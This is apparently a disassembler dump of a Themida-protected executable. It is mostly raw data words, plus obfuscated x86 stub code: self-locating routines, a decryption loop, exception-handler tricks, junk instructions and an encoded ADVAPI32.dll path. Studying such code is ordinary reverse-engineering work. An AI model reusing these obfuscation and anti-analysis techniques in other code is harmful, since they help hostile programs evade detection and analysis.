dd 99340000h, 0EBEAFFFFh, 5Ch, 9DC80000h, 0FFFFh, 8 dup(0)
dd 0EE180000h, 7C90h, 4 dup(0)
dd 10000h, 633A0000h, 9938005Ch, 0FFFFh, 0
dd 5C440000h, 0DD83h, 3 dup(0)
dd 18870000h, 0AF5F0000h, 0A48Fh, 0
dd 0EB940000h, 7C90h, 3 dup(0)
dd 0EC000000h, 11EEh, 5 dup(0)
dd 0F4D80000h, 5Dh, 0Dh dup(0)
dd 0B0000000h, 0FF540002h, 12h, 5FD0000h, 0FF4Dh, 0
dd 76720000h, 5Dh, 0
dd 10000000h, 40h, 0Ah dup(0)
dd 30DF0000h, 0A9C5h, 1Bh dup(0)
dd 0EB940000h, 7C90h, 4 dup(0)
dd 0A06C0000h, 5Bh, 473F0000h, 119Bh, 4 dup(0)
dd 0FFFF0000h, 647Eh, 0C2BA0000h, 0EAE6h, 803A0000h, 4369h
dd 77800000h, 40F612ACh, 0BAh, 0Dh dup(0)
dd 780000h, 0FFB00000h, 203h, 2 dup(0)
dd 8B0D0000h, 0B5h, 2 dup(0)
dd 0E240000h, 5400B2h, 3 dup(0)
dd 21210000h, 2121h, 0EB940000h, 7C90h, 4060000h, 1290B9BEh
dd 76F2h, 3 dup(0)
dd 10000h, 0Eh dup(0)
dd 19200000h, 0EB9400B2h, 8B327C90h, 0B5h, 0
dd 180F0000h, 0B2h, 6 dup(0)
dd 0B7810000h, 2 dup(0)
dd 0C04F0000h, 0C7007863h, 0FFFFh, 6 dup(0)
dd 0EE180000h, 7C90h, 0Bh dup(0)
dd 0AB7D0000h, 98BA0129h, 0FFFFh, 4 dup(0)
dd 180E0000h, 7C80h, 4 dup(0)
dd 0FFB00000h, 193h, 2 dup(0)
dd 0EB940000h, 7C90h, 5 dup(0)
dd 0C40000h, 0BC700000h, 0
dd 50A30000h, 5Fh, 4 dup(0)
dd 82630000h, 3CEC8551h, 2BFh, 33600000h, 2AFDh, 0B1D60000h
dd 5Fh, 0
dd 100000h, 0FFFD005Ch, 98D8F8ECh, 0DE8Dh, 0
dd 0EB940000h, 7C90h, 7 dup(0)
dd 66CC0000h, 2 dup(0)
dd 0F8F00000h, 1FFFFh, 8E510000h, 0B2h, 0Dh dup(0)
dd 0FFFF0000h, 2753FFFFh, 0EE37005Ch, 5C9877DDh, 6C0000h
dd 1D430000h, 5Dh, 0
dd 4E5B0000h, 76B4h, 0
dd 0ABC10000h, 3 dup(0)
dd 0AB7D0000h, 129h, 2 dup(0)
dd 180F0000h, 0B2h, 8F0A0040h, 0EB94005Dh, 7C90h, 7A380000h
dd 6296h, 0
dd 3A890000h, 0B47Fh, 0AEB60000h, 8399005Bh, 7D60h, 0
dd 9F780000h, 60h, 0F8EA0000h, 7D6h, 0Fh dup(0)
dd 0AAA10000h, 52D500B2h, 5Ch, 2 dup(0)
dd 40000h, 2 dup(0)
dd 6E0B0000h, 25Dh, 0B63C0000h, 0FF47h, 2 dup(0)
dd 9F780000h, 60h, 0Ch dup(0)
dd 30000000h, 51h, 6 dup(0)
dd 8F1D0000h, 0FFA4h, 0
dd 2D320000h, 58h, 8 dup(0)
dd 6BF00000h, 77DDh, 4 dup(0)
dd 180F0000h, 398600B2h, 1441005Dh, 0EB24h, 0Dh dup(0)
dd 0C0880000h, 86AAh, 0EE180000h, 7C90h, 0Ah dup(0)
dd 0FF540000h, 12h, 2 dup(0)
dd 8FD10000h, 7E5018BDh, 0FC85h, 0
dd 146C0000h, 836Fh, 0Bh dup(0)
dd 0B3B80000h, 5Dh, 9 dup(0)
dd 0EB940000h, 7C90h, 0EB940000h, 7C90h, 4 dup(0)
dd 77BC0000h, 5Dh, 6 dup(0)
dd 5EFE0000h, 12h, 2 dup(0)
dd 0DE860000h, 4214Eh, 9B470000h, 3D207C80h, 0
dd 0FFEF0000h, 0C55Ah, 0
dd offset loc_42FFFA+6
dd 5 dup(0)
dd 0EBE70000h, 77DDh, 4 dup(0)
dd 0CBB0000h, 49CB005Bh, 29F3005Fh, 0FE300058h, 12h, 295h
dd 51920000h, 62B2CBC9h, 5B42h, 0BD180000h, 3B0A005Bh
dd 76C0000h, 0FFFEh, 0F9FC0000h, 0AAh, 40h, 4 dup(0)
dd 3E0000h, 107C80h, 5Ch, 0
dd 10000h, 5 dup(0)
dd 0BC0000h, 0
dd 0EB940000h, 7C90h, 9 dup(0)
dd 0C4D80000h, 8A3Ah, 0B30000h, 7 dup(0)
dd 0D00000h, 2 dup(0)
dd 0D0490000h, 0FFFFh, 2 dup(0)
dd 31260000h, 0BDD2C550h, 0CCF4h, 5 dup(0)
dd 20000000h, 11h, 0Ah dup(0)
dd 0D73D0000h, 647Ch, 2 dup(0)
dd 83C20000h, 3DD1h, 10000h, 5 dup(0)
dd 3C0000h, 7C80h, 4 dup(0)
dd 0EB940000h, 37797C90h, 14BEh, 2 dup(0)
dd 36360000h, 3636h, 2 dup(0)
dd 3A430000h, 4E49575Ch, 53574F44h, 7379735Ch, 336D6574h
dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
dd 0FA030000h, 200B2h, 2 dup(0)
dd 3DF80000h, 180E8A4Dh, 7C80h, 515C0000h, 0FFA4h, 0
dd 24C60000h, 0EDE50058h, 0BAB277DDh, 0DDC7h, 0
dd 0AB7D0000h, 0EB940129h, 8C837C90h, 3D94005Bh, 2 dup(0)
dd 10050000h, 4740h, 5 dup(0)
dd 752B0000h, 5Fh, 0
dd 8EA50000h, 97Dh, 3 dup(0)
dd 9F780000h, 60h, 4 dup(0)
dd 0FFB00000h, 10193h, 0
dd 409A0000h, 14410058h, 0EB24h, 7 dup(0)
dd 71910000h, 9C687ADBh, 0FFFFh, 3 dup(0)
dd 0B4E60000h, 0F000005Fh, 4, 2 dup(0)
dd 230000h, 5Ch, 420A0000h, 3C20h, 10000h, 230000h, 5Ch
dd 2 dup(0)
dd 40h, 0
dd 15BB0000h, 5Fh, 0
dd 8CC40000h, 5Ah, 3 dup(0)
dd 4ACC0000h, 3910h, 2 dup(0)
dd 10000h, 2 dup(0)
dd 0B230000h, 5Ch, 6 dup(0)
dd 889F0000h, 60h, 0FA030000h, 0B2h, 22220000h, 22222222h
dd 2222h, 0
dd 9F780000h, 2A090060h, 0CD787C81h, 5Bh, 0EB940000h, 547C7C90h
dd 249018B9h, 2 dup(0)
dd 3FA50000h, 5Ch, 3 dup(0)
dd 0EB940000h, 7C90h, 0DA2B0000h, 0B2h, 24240000h, 2424h
dd 3 dup(0)
dd 183D0000h, 37EC0000h, 0B2h, 3 dup(0)
dd 15BB0000h, 5Fh, 26Eh, 2 dup(0)
dd 7FC60000h, 0BC96h, 61F10000h, 30h dup(0)
dd 0DD730000h, 7621h, 0
dd 7B940000h, 0A8ADA4E1h, 7E41h, 0
dd 0EB940000h, 7C90h, 29F20000h, 58h, 12B50000h, 5Ch, 2 dup(0)
dd 0FA030000h, 0B2h, 2 dup(0)
dd offset loc_42026A+6
dd 0FEECh, 2 dup(0)
dd 0A770000h, 7C81h, 7 dup(0)
dd 6C5B0000h, 76F3h, 0BCA80000h, 5Bh, 0
dd 7C0000h, 9 dup(0)
dd 0D1D60000h, 5Dh, 0Bh dup(0)
dd 0FFE00000h, 12h, 3 dup(0)
dd 0FFFF0000h, 0FFFFh, 2 dup(0)
dd 8E000000h, 0B9D5h, 6 dup(0)
dd 0B7810000h, 0Ah dup(0)
dd 79900000h, 1, 740000h, 0
dd 7CB20000h, 7DC4h, 4 dup(0)
dd 58BF0000h, 5Bh, 8 dup(0)
dd 0CE0000h, 4 dup(0)
dd 0FDB60000h, 0FFFFh, 0
dd 26Eh, 90180000h, 3B7EFFFFh, 58h, 0C41B0000h, 77DFh
dd 0
dd 0FF540000h, 12h, 0
dd 0AB7D0000h, 129h, 0
dd 846C0000h, 5B1Eh, 23540000h, 0FFFFh, 0EB940000h, 0FA377C90h
dd 0B2h, 12h, 6 dup(0)
dd 0B0FC0000h, 1604h, 1Eh dup(0)
dd 10000h, 0EB950000h, 7C90h, 1DC80000h, 5Dh, 0Ch dup(0)
dd 0EF3C0000h, 1, 0Ch dup(0)
dd 180F0000h, 0D28700B2h, 0A8h, 3 dup(0)
dd 98200000h, 5Eh, 0Ah dup(0)
dd 146C0000h, 54ED836Fh, 58h, 0
dd 5FA80000h, 836Fh, 0EE5A0000h, 564377DDh, 5 dup(0)
dd 0AB6E0000h, 1CD50129h, 5Bh, 0
dd 26Fh, 3 dup(0)
dd 0FCAD0000h, 0B4h, 3700000h, 0CBB0000h, 0A4F1005Bh, 3 dup(0)
dd 10000h, 5 dup(0)
dd 15BF0000h, 5Fh, 0Ch dup(0)
dd 0EE180000h, 0E7F17C90h, 0FF4Dh, 2 dup(0)
dd 80A30000h, 28780019h, 0FFA400B5h, 5F940012h, 0B1D6FFA4h
dd 4000005Fh, 22h, 0Ch dup(0)
dd 17F90000h, 425Eh, 20530000h, 5Fh, 0E7F10000h, 0FF4Dh
dd 4 dup(0)
dd 290000h, 6A390000h, 0A29F00B2h, 0EB94005Bh, 7C90h, 6 dup(0)
dd 0D990000h, 5Dh, 0
dd 91780000h, 0B7h, 12h dup(0)
dd 0AB030000h, 0BBCh, 3 dup(0)
dd 24930000h, 73DE00B3h, 5Dh, 0
dd 30DF0000h, 0A9C5h, 3 dup(0)
dd 0F3450000h, 0FFA4h, 3 dup(0)
dd 846C0000h, 5B1Eh, 0
dd 6E060000h, 8EE4025Dh, 650300B2h, 0BDCBh, 4 dup(0)
dd 0A06C0000h, 5Bh, 4 dup(0)
dd 0FCAD0000h, 0B4h, 2 dup(0)
dd 9B6C0000h, 0FBAFFFFFh, 783Dh, 5 dup(0)
dd 0CA40000h, 0C2D1h, 3 dup(0)
dd 0A4460000h, 0B9BEh, 0FFFF0000h, 1005Fh, 3D440000h, 7F5C8A4Dh
dd 0E435h, 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5849FA: ; CODE XREF: Themida_:loc_581469j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7A8359Bh
mov [ebp+7A81E29h], edx
mov [ebp+7A80475h], esi
mov [ebp+7A80509h], eax
cmp dword ptr [ebp+7A80B89h], 0
jz short loc_584A32
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_584A32: ; CODE XREF: Themida_:00584A24j
mov eax, [esp+24h]
mov [ebp+7A8144Dh], eax
push 45h
call sub_584AE6
push 783749Ah
call sub_584B2C
push 0A894B25h
call sub_584B2C
jmp loc_584C70
; ---------------------------------------------------------------------------
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_584AE6 proc near ; CODE XREF: Themida_:00584A3Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 7A83689h
mov ebx, edx
mov [ebp+var_28], 0
loc_584B02: ; CODE XREF: sub_584AE6+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_584B21
mov eax, [ebp+arg_0]
mov [ebx+7A835F3h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_584B02
; ---------------------------------------------------------------------------
loc_584B21: ; CODE XREF: sub_584AE6+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_584AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_584B2C proc near ; CODE XREF: Themida_:00584A48p
; Themida_:00584A52p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 7A836D2h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_584B52: ; CODE XREF: sub_584B2C+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_584B52
mov [ebp+var_84], 0
lea edi, [edx+7A835F3h]
lea esi, [ebp+var_80]
loc_584B82: ; CODE XREF: sub_584B2C+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_584B8E: ; CODE XREF: sub_584B2C+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_584B8E
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_584B82
popa
leave
retn 4
sub_584B2C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_584BCC
; ---------------------------------------------------------------------------
loc_584BC8: ; CODE XREF: Themida_:00584BCFj
inc dword ptr [ebp-4]
inc esi
loc_584BCC: ; CODE XREF: Themida_:00584BC6j
cmp byte ptr [esi], 0
jnz short loc_584BC8
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_584C5D
; ---------------------------------------------------------------------------
loc_584BDE: ; CODE XREF: Themida_:00584C60j
mov dword ptr [ebp-8], 0
jmp short loc_584C54
; ---------------------------------------------------------------------------
loc_584BE7: ; CODE XREF: Themida_:00584C58j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_584C41
; ---------------------------------------------------------------------------
loc_584BF7: ; CODE XREF: Themida_:00584C45j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_584C19
cmp bl, 39h
ja short loc_584C19
sub bl, 30h
jmp short loc_584C3B
; ---------------------------------------------------------------------------
loc_584C19: ; CODE XREF: Themida_:00584C0Dj
; Themida_:00584C12j
cmp bl, 61h
jb short loc_584C2B
cmp bl, 66h
ja short loc_584C2B
sub bl, 61h
add bl, 0Ah
jmp short loc_584C3B
; ---------------------------------------------------------------------------
loc_584C2B: ; CODE XREF: Themida_:00584C1Cj
; Themida_:00584C21j
cmp bl, 41h
jb short loc_584C3B
cmp bl, 46h
ja short loc_584C3B
sub bl, 41h
add bl, 0Ah
loc_584C3B: ; CODE XREF: Themida_:00584C17j
; Themida_:00584C29j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_584C41: ; CODE XREF: Themida_:00584BF5j
cmp dword ptr [ebp-0Ch], 2
jb short loc_584BF7
cmp dword ptr [ebp-10h], 0
jbe short loc_584C51
mov eax, [ebp-10h]
stosb
loc_584C51: ; CODE XREF: Themida_:00584C4Bj
inc dword ptr [ebp-8]
loc_584C54: ; CODE XREF: Themida_:00584BE5j
cmp dword ptr [ebp-8], 2
jb short loc_584BE7
add edx, 4
loc_584C5D: ; CODE XREF: Themida_:00584BDCj
cmp edx, [ebp-4]
jb loc_584BDE
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_584C70: ; CODE XREF: Themida_:00584A57j
mov ecx, 7000h
lea edi, [ebp+7A83818h]
loc_584C7B: ; CODE XREF: Themida_:00584C7Fj
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_584C7B
mov eax, 48692121h
mov edx, 0F0115000h
sub edx, 0F0000000h
lea eax, [ebp+7A8391Eh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov ebx, 6574B197h
jb loc_584CB9
mov bl, 71h
loc_584CB9: ; CODE XREF: Themida_:00584CB1j
jns loc_584CC1
mov ebx, edx
loc_584CC1: ; CODE XREF: Themida_:loc_584CB9j
mov bx, 0CD95h
sub eax, edx
push 0
push ebp
call sub_584CD2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584CD2 proc near ; CODE XREF: Themida_:00584CCAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_584CD2 endp
; ---------------------------------------------------------------------------
dw 2336h
dd 0CC3B114Dh, 8B146424h, 0A5E780D9h, 0FFF00025h, 2EABBFFh
dd 0CA8B5DACh, 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch
dd 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h
dd 31958D04h, 5207A839h, 35FF64h, 64000000h, 2589h, 0C1030000h
dd 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h
dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 7A8393Ch
dd 38FA858Dh, 818907A8h, 0B8h, 0C033595Dh, 8F6496C3h, 5
dd 4C48300h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 2FC35545h, 863B23E4h, 0B7FCB957h, 55006A14h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 7F2E2140h, 0DB313E51h, 8C663329h, 0D1F380D9h, 800Fh
dd 0E1800000h, 0BB665304h, 0A5BB3BDh, 1F850FC9h, 8B000000h
dd 0A585C7DFh, 107A806h, 0F000000h, 582h, 0B686BB00h, 0FE96FC0h
dd 80000000h, 85C791F7h, 7A806A5h, 0
; ---------------------------------------------------------------------------
mov bl, 68h
mov [ebp+7A81895h], eax
sbb bh, 0A7h
jmp loc_584E71
; ---------------------------------------------------------------------------
dd 9365F220h, 5406F4F6h
db 90h
; ---------------------------------------------------------------------------
loc_584E71: ; CODE XREF: Themida_:00584E63j
mov [ebp+7A80CE1h], eax
call near ptr loc_584E8F+1
xchg eax, ebx
xor cl, al
mov esp, 0C3BA8B0Dh
mov bl, 0E0h
in eax, 4Ah
leave
mov eax, ds:95741C27h
xchg eax, edi
loc_584E8F: ; CODE XREF: Themida_:00584E77p
db 67h
pusha
jnp loc_584E9A
and dh, 63h
loc_584E9A: ; CODE XREF: Themida_:00584E91j
mov di, bx
popa
pop edx
cmc
add edx, 6539h
push ebx
cmc
pop ecx
mov eax, 34C785E4h
add eax, 0CB38932Ah
jmp loc_584EC8
; ---------------------------------------------------------------------------
db 10h, 0B2h, 6Dh
dd 92EC3516h, 4F8A3AFEh, 60F2FD2Eh
; ---------------------------------------------------------------------------
loc_584EC8: ; CODE XREF: Themida_:00584EB4j
mov edi, [edx]
mov ecx, 6377C37h
add edi, 6EB42673h
mov ch, 0EEh
add edi, 235418AAh
stc
sub edi, 6858572h
jmp loc_584EEE
; ---------------------------------------------------------------------------
db 0A7h, 0A2h, 51h
db 6Bh, 0D2h
; ---------------------------------------------------------------------------
loc_584EEE: ; CODE XREF: Themida_:00584EE4j
push edi
call near ptr loc_584EF4+5
loc_584EF4: ; CODE XREF: Themida_:00584EEFp
mov [esi+0FE6D6D6h], al
lea eax, [esi]
; ---------------------------------------------------------------------------
dd 0F000000h, 86h, 28F5900h, 0E904EA83h, 10h, 46F64562h
dd 8FE7F49Dh, 8D4503DAh, 7B21B7ABh, 25850F48h, 0E9000000h
dd 0Dh, 80787083h, 0C9E7DE9Dh, 0B8C8C1C4h, 43E903h, 33260000h
dd 66E1FFA7h, 3BCC4092h, 0B685E3F9h, 17820Fh, 12E90000h
dd 0D0000000h, 90A55E49h, 0DD4941E6h, 0C0BE1186h, 6A81AE0Ah
dd 0FF5AE970h, 0A892FFFFh, 6072F267h, 12B7869Bh, 0A5BB19D8h
dd 0A565F4EBh, 0AE855h, 0A06C0000h, 2DABB33Ch, 5626025Ch
dd 8890Fh, 8E0F0000h, 2, 0B35EF88Bh, 46C68154h, 0E9000065h
dd 0Ch, 0C5FC20CEh, 0E00F04D2h, 3F87B761h, 0B9h, 8BFB8B00h
dd 810F0E04h, 4, 309EBF66h, 0D9F0C081h, 0BF666392h, 0F081DBD3h
dd 3FD19891h, 5E12E881h, 8B665BB0h, 0E0489DFh, 14E9h, 97BAF700h
dd 0A083C8E2h, 0CBB5E5ADh, 0DF8562EBh, 1CD89F0Bh, 9E937h
dd 2C6E0000h, 0E891062Bh, 836E0254h, 81F904E9h, 0FF9B6CF9h
dd 0A0850FFFh, 0E8FFFFFFh, 0Ch, 4BE4979Ch, 0D3DE31CBh
dd 43C6C7D9h, 0DE8B6660h, 8129D981h, 5F6111F4h, 21B04EBh
dd 0C1E90000h, 0FC000006h, 799D0960h, 2B07A823h, 0EE9C0h
dd 2E460000h, 0F26C1F56h, 0D02500D9h, 0E4529341h, 2824548Bh
dd 28CF8160h, 8B1868F4h, 0A81B9DBDh, 85896107h, 7A8330Dh
dd 3CBEF5h, 8B0F0000h, 6, 35459531h, 740307A8h, 0B5892424h
dd 7A82AE9h, 0B589AD66h, 7A80EF1h, 24244403h, 29C9B589h
dd 505007A8h, 9E952h, 52DB0000h, 9634E09Ch, 0FC918BCh
dd 0DE931h, 284D0000h, 93B6A156h, 5F83D559h, 5A6FD9ABh
dd 24048958h, 1AF19D89h, 408B07A8h, 68E0F78h, 89000000h
dd 0A81BADB5h, 24440307h, 408BFC28h, 0E940FC18h, 0Bh, 6430B0BAh
dd 7EBE8750h, 89B240F8h, 0A83BD585h, 3158F507h, 0A82DF195h
dd 55B52907h, 8B07A814h, 83F97870h, 5E91CC6h, 20000000h
dd 30B83FAEh, 24247403h, 0A9B86660h, 29958980h, 6107A809h
dd 2D55BD89h, 0BD8D07A8h, 7A80FCDh, 18519D89h, 89AD07A8h
dd 0A803499Dh, 24440307h, 0E9ABF924h, 12h, 5C1B1CDCh, 6CA522B0h
dd 9904D410h, 47B7A1F9h, 0BD8DE5D6h, 7A81549h, 10E9h, 0ECEFC600h
dd 0E6AE296Ch, 7A496487h, 5380C92h, 9E9ADCCh, 0CA000000h
dd 0FE6426C0h, 0B217D114h, 24244403h, 0D9BF0F60h, 6840Fh
dd 95290000h, 7A814F1h, 9E95061h, 84000000h, 8780C20Bh
dd 14A9D3EEh, 0E9240489h, 10h, 0F671BA5h, 3DFC382Dh, 94ED015Dh
dd 0D729D728h, 0BD8DF8ABh, 7A82E3Dh, 0CEBF0F60h, 4A53AB9h
dd 29AD616Dh, 0A80E558Dh, 24440307h, 258D8928h, 0AB07A80Dh
dd 0BE9h, 46B5AE00h, 0E2E73112h, 9AECFDB8h, 0C5BD895Eh
dd 0FF07A81Ch, 0A83BD58Dh, 0D5BD8307h, 7A83Bh, 44C71075h
dd 1C24h, 0B58D0000h, 7A84043h, 0AD56E6FFh, 28244403h
dd 8ADF8B97h, 0A8061985h, 74C08407h, 75073A04h, 0C032574Ch
dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh
dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h
dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h
dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 0D85FF04h
dd 0E907A833h, 0FFFFFF6Fh, 13E95Eh, 5D1C0000h, 367D3CAAh
dd 7C1E87F0h, 5C865EF8h, 0DBA75CDh, 0E8516029h, 5, 25875D13h
dd 66595E0Dh, 0EDB8DF81h, 0D858B61h, 0F07A833h, 0F8Ah
dd 0AE900h, 75290000h, 1F40BBFEh, 0FBD4C596h, 0BD89E0D1h
dd 7A80365h, 2E3D8503h, 8F0F07A8h, 16h, 0DE960h, 61380000h
dd 0BD25B7DFh, 55FE07DEh, 606A7AF1h, 0F62B6161h, 1850Fh
dd 96FC0000h, 12810Fh, 0DE90000h, 26000000h, 671AD93Ch
dd 23A9A814h, 961EA16Eh, 0E860AD66h, 0Ah, 0EA052693h, 37079D6Bh
dd 0F781F98Ch, 2154A027h, 0DABB665Fh, 0E0C1615Ah, 0A5852902h
dd 307A829h, 0A80FCD85h, 18C0F07h, 0FC000000h, 0BD09F996h
dd 7A81A55h, 6860FADh, 89000000h, 0A8265D85h, 244C8B07h
dd 4403F524h, 66602424h, 0F54E4BAh, 8Dh, 44896100h, 8B0F1C24h
dd 6, 0B5616060h, 0F8966127h, 19BD89ACh, 3207A810h, 0CE9C9h
dd 0B07F0000h, 19E744Fh, 9C788CA8h, 0C1FE4C06h, 2C759D89h
dd 0D0D007A8h, 0DE830Fh, 8E90000h, 32000000h, 0D9A1C3F0h
dd 0D008F255h, 0C9830FD0h, 0F8000000h, 820FD0D0h, 0C0h
dd 0CE9h, 9B1FD00h, 75CE074h, 0FB0A879Ch, 0FD0D005h, 0A782h
dd 16830F00h, 0E9000000h, 11h, 60EE825Eh, 6AE72947h, 80375BE6h
dd 195ED522h, 0FC9FED1h, 0FFFF9D89h, 0FE9FFh, 7C290000h
dd 0FA49E44Dh, 87811541h, 0BE883819h, 20C483F9h, 19199D29h
dd 44C707A8h, 0FC24h, 870F0000h, 7, 1820Fh, 60F50000h
dd 0CDE68166h, 9EEE8173h, 61248B35h, 1B8h, 18D8900h, 8D07A810h
dd 0A871FB8Dh, 14E907h, 24230000h, 0E2B9E30Dh, 0D5EA078Ah
dd 0AABE1BD6h, 3708501Fh, 0E1FFF107h, 0C8E0Fh, 830F0000h
dd 6, 8D0Fh, 0B5010000h, 7A80B3Dh, 61985C6h, 0F0007A8h
dd 0C89h, 6840F00h, 89000000h, 0A82B098Dh, 13E96107h, 33000000h
dd 0EC5DD68Fh, 0C1A416FAh, 0D6B7A28h, 0FB1039D0h, 666081CBh
dd 61993EB9h, 890008C2h, 0A80EC99Dh, 52505007h, 14E860h
dd 48550000h, 2418313Dh, 0AEB67220h, 0F2C95D75h, 3FD16C54h
dd 0F5967A5h, 85h, 310F6100h, 0D68B6660h, 0FB1F7FBFh, 585A612Fh
dd 60243489h, 8E9C68Bh, 18000000h, 95BE8C26h, 6154F759h
dd 4273B589h, 880F07A8h, 14h, 0FE9h, 0E30F1D00h, 9BA1F543h
dd 11A84CD1h, 0C02A3E08h, 427E8D89h, 0B50907A8h, 7A806B1h
dd 412AB58Dh, 9D8907A8h, 7A81D15h, 0A1858DF8h, 0F9005B8Eh
dd 5EF5D0FFh, 0FE9h, 0F45A2F00h, 0B189C24Ah, 61F9D97Dh
dd 0DFA8BACEh, 0F1B529C3h, 8B07A829h, 0A84273B5h, 8A0F6007h
dd 1, 59D29F9h, 6107A803h, 427E8D8Bh, 12E907A8h, 77000000h
dd 4E005C4Bh, 2F018F74h, 598889ABh, 0CD304FACh, 0B801h
dd 8C0F0000h, 6, 5A99501h, 0D98B07A8h, 2C5D9589h, 8D0F07A8h
dd 4, 61616060h, 0DEE9h, 0C8D0F00h, 0E9000000h, 7, 16274B60h
dd 32587A4Fh, 9D036026h, 7A81585h, 143D9509h, 0B26107A8h
dd 0CE902h, 78660000h, 0B755EC26h, 0B8CA91Bh, 0F605AAAh
dd 168Bh, 11E900h, 93750000h, 0D5E44906h, 0FD25F7E0h, 956C98F7h
dd 8B1E5BDFh, 0A8104985h, 57E96107h, 0F9000000h, 8960C232h
dd 0A8091D95h, 95896107h, 7A82AD9h, 751D7A05h, 0CC8AF88Ah
dd 18D0B60h, 0F07A80Eh, 68Bh, 840F00h, 61000000h, 8E9C8D3h
dd 96000000h, 57DE0D61h, 35DC99C1h, 98D10842h, 9D8501F8h
dd 0FE07A826h, 0E18529CAh, 0F07A823h, 184h, 0D20AFC00h
dd 0FFA2850Fh, 840FFFFFh, 7, 1880Fh, 9F50000h, 0A8253185h
dd 85894B07h, 7A82D75h, 0D5BD8946h, 0B07A831h, 2C850FDBh
dd 89FFFFFFh, 0A821499Dh, 0F5CFF907h, 0B5290000h, 7A81CB1h
dd 0FC0000h, 8E900h, 0F73F0000h, 2ECCE5EAh, 85095BFCh
dd 7A807B5h
dd 89600000h, 0A82291B5h, 61FE8B07h, 3BDF858Dh, 8D0107A8h
dd 7A83525h, 1DF58589h, 8B6007A8h, 0A805C1B5h, 5D8D8B07h
dd 6107A819h, 4084858Dh, 0BD0907A8h, 7A82C75h, 32B58589h
dd 14EB07A8h, 4 dup(0)
dd 0E4h, 43A8858Dh, 858907A8h, 7A80C71h, 42DFBD83h, 0F0007A8h
dd 12C84h, 1985C600h, 5607A806h, 4E8h, 1F6D3900h, 448B50D4h
dd 8B0424h, 4244489h, 95B5FF58h, 8D07A818h, 0A83BDF85h
dd 89D0FF07h, 0A842D385h, 1985C607h, 5607A806h, 0FFE87468h
dd 24048170h, 2BA8CFDEh, 1895B5FFh, 858D07A8h, 7A83BDFh
dd 8589D0FFh, 7A842D7h, 4E8046Ah, 0
dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 0A842E385h
dd 1F40507h, 0E0C10000h, 4895002h, 0FF006A24h, 0A842D795h
